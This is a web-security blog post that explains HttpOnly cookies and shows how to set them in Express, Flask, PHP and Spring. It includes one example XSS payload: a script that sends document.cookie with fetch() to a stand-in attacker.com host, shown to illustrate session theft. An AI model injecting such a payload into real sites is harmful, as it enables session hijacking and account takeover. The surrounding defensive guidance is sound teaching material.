Introduction

In the world of web security, cookies are both essential and vulnerable. They store sensitive information like session tokens and authentication data, making them prime targets for attackers. Enter HttpOnly cookies — a simple yet powerful security flag that can dramatically reduce your application's attack surface.

In this post, we'll explore what HttpOnly cookies are, why they matter, and how to implement them effectively in your applications.

What Are HttpOnly Cookies?

An HttpOnly cookie is a cookie with a special flag that prevents client-side scripts from accessing it. When you set the HttpOnly attribute on a cookie, it becomes invisible to JavaScript's document.cookie API.

Regular Cookie:

document.cookie = "sessionId=abc123; path=/";
// Can be accessed via document.cookie ⚠️

HttpOnly Cookie (set server-side):

Set-Cookie: sessionId=abc123; HttpOnly; Secure; SameSite=Strict
// Cannot be accessed via document.cookie ✅

The Problem: XSS Attacks and Cookie Theft

Cross-Site Scripting (XSS) attacks are one of the most common web vulnerabilities. Attackers inject malicious scripts into your website that can:

  • Steal authentication tokens
  • Hijack user sessions
  • Perform actions on behalf of users
  • Exfiltrate sensitive data

Example of Cookie Theft via XSS:

// Malicious script injected by attacker
<script>
  fetch('https://attacker.com/steal?cookie=' + document.cookie);
</script>

If your session cookie isn't HttpOnly, this simple script can steal it and send it to the attacker's server.

How HttpOnly Cookies Protect Your Application

HttpOnly cookies create a barrier between your sensitive cookies and potentially malicious JavaScript code. Here's what happens:

Without HttpOnly:

  1. Attacker injects XSS payload
  2. Script accesses document.cookie
  3. Session token is stolen
  4. Attacker impersonates the user

With HttpOnly:

  1. Attacker injects XSS payload
  2. Script tries to access document.cookie
  3. HttpOnly cookie is not included in the result
  4. Session token remains safe 🛡️

Implementation Guide

Node.js with Express

const express = require('express');
const session = require('express-session');
const app = express();
app.use(session({
  secret: 'your-secret-key',
  cookie: {
    httpOnly: true,    // Prevents JavaScript access
    secure: true,      // Only sent over HTTPS
    sameSite: 'strict', // Prevents CSRF
    maxAge: 3600000    // 1 hour
  }
}));
// Or set cookies manually
app.get('/login', (req, res) => {
  res.cookie('token', 'jwt-token-here', {
    httpOnly: true,
    secure: true,
    sameSite: 'strict'
  });
  res.send('Logged in');
});

Python with Flask

from flask import Flask, make_response
app = Flask(__name__)
@app.route('/login')
def login():
    response = make_response('Logged in')
    response.set_cookie(
        'session_token',
        'secure-token-here',
        httponly=True,
        secure=True,
        samesite='Strict',
        max_age=3600
    )
    return response

PHP

<?php
setcookie(
    'session_id',
    'secure-session-id',
    [
        'httponly' => true,
        'secure' => true,
        'samesite' => 'Strict',
        'expires' => time() + 3600
    ]
);
?>

Java with Spring Boot

@GetMapping("/login")
public ResponseEntity<String> login(HttpServletResponse response) {
    Cookie cookie = new Cookie("sessionToken", "secure-token");
    cookie.setHttpOnly(true);
    cookie.setSecure(true);
    cookie.setPath("/");
    cookie.setMaxAge(3600);
    
    response.addCookie(cookie);
    return ResponseEntity.ok("Logged in");
}

Best Practices: The Security Trifecta

HttpOnly cookies work best when combined with other security flags:

1. HttpOnly — Prevents JavaScript access

Set-Cookie: token=value; HttpOnly

2. Secure — Only sent over HTTPS

Set-Cookie: token=value; HttpOnly; Secure

3. SameSite — Prevents CSRF attacks

Set-Cookie: token=value; HttpOnly; Secure; SameSite=Strict

Complete Example:

Set-Cookie: sessionId=abc123xyz; 
  HttpOnly; 
  Secure; 
  SameSite=Strict; 
  Path=/; 
  Max-Age=3600

Common Misconceptions

❌ "HttpOnly cookies prevent all XSS attacks"

Reality: HttpOnly cookies only protect the cookie itself. XSS can still manipulate the DOM, steal other data, or perform actions as the logged-in user.

❌ "I can't use HttpOnly cookies with JWT tokens"

Reality: You absolutely can and should! Store JWTs in HttpOnly cookies and send them automatically with requests. The server can validate them without exposing them to JavaScript.

❌ "HttpOnly cookies break my SPA"

Reality: SPAs work fine with HttpOnly cookies. The browser automatically includes them in requests to your API.

Testing Your Implementation

Check if HttpOnly is Set:

Browser DevTools:

  1. Open DevTools (F12)
  2. Go to Application/Storage tab
  3. Click on Cookies
  4. Look for the HttpOnly checkbox ✓

Programmatic Test:

// This should NOT show your HttpOnly cookies
console.log(document.cookie);
// HttpOnly cookies are still sent with requests
fetch('/api/protected-endpoint', {
  credentials: 'include'
});

Security Headers Check:

curl -I https://yoursite.com/login
# Look for: Set-Cookie: ...HttpOnly...

Real-World Impact

Major security breaches have occurred due to missing HttpOnly flags:

  • Session hijacking attacks where stolen cookies gave attackers complete account access
  • Credential theft from banking and e-commerce sites
  • Account takeovers in social media platforms

According to OWASP, proper cookie security (including HttpOnly) is a fundamental requirement for preventing authentication vulnerabilities.

When NOT to Use HttpOnly

There are rare cases where you might need JavaScript access to cookies:

  • Analytics cookies that need client-side processing
  • Preference cookies for theme/language that JavaScript needs to read
  • Non-sensitive tracking cookies

Rule of thumb: Any cookie containing authentication data, session identifiers, or personal information should ALWAYS be HttpOnly.

Conclusion

HttpOnly cookies are a simple but crucial security feature that every web developer should implement. They provide a strong defense layer against XSS-based cookie theft with minimal implementation effort.

Key Takeaways:

  • Always use HttpOnly for session tokens and authentication cookies
  • Combine HttpOnly with Secure and SameSite flags
  • Test your implementation using browser DevTools
  • Remember: HttpOnly protects cookies, not the entire application

The next time you're setting up authentication in your application, make HttpOnly cookies your default choice. Your users' security depends on it.

Further Reading:

What's your experience with HttpOnly cookies? Share your thoughts in the comments below!

Stay secure, stay vigilant! 🔐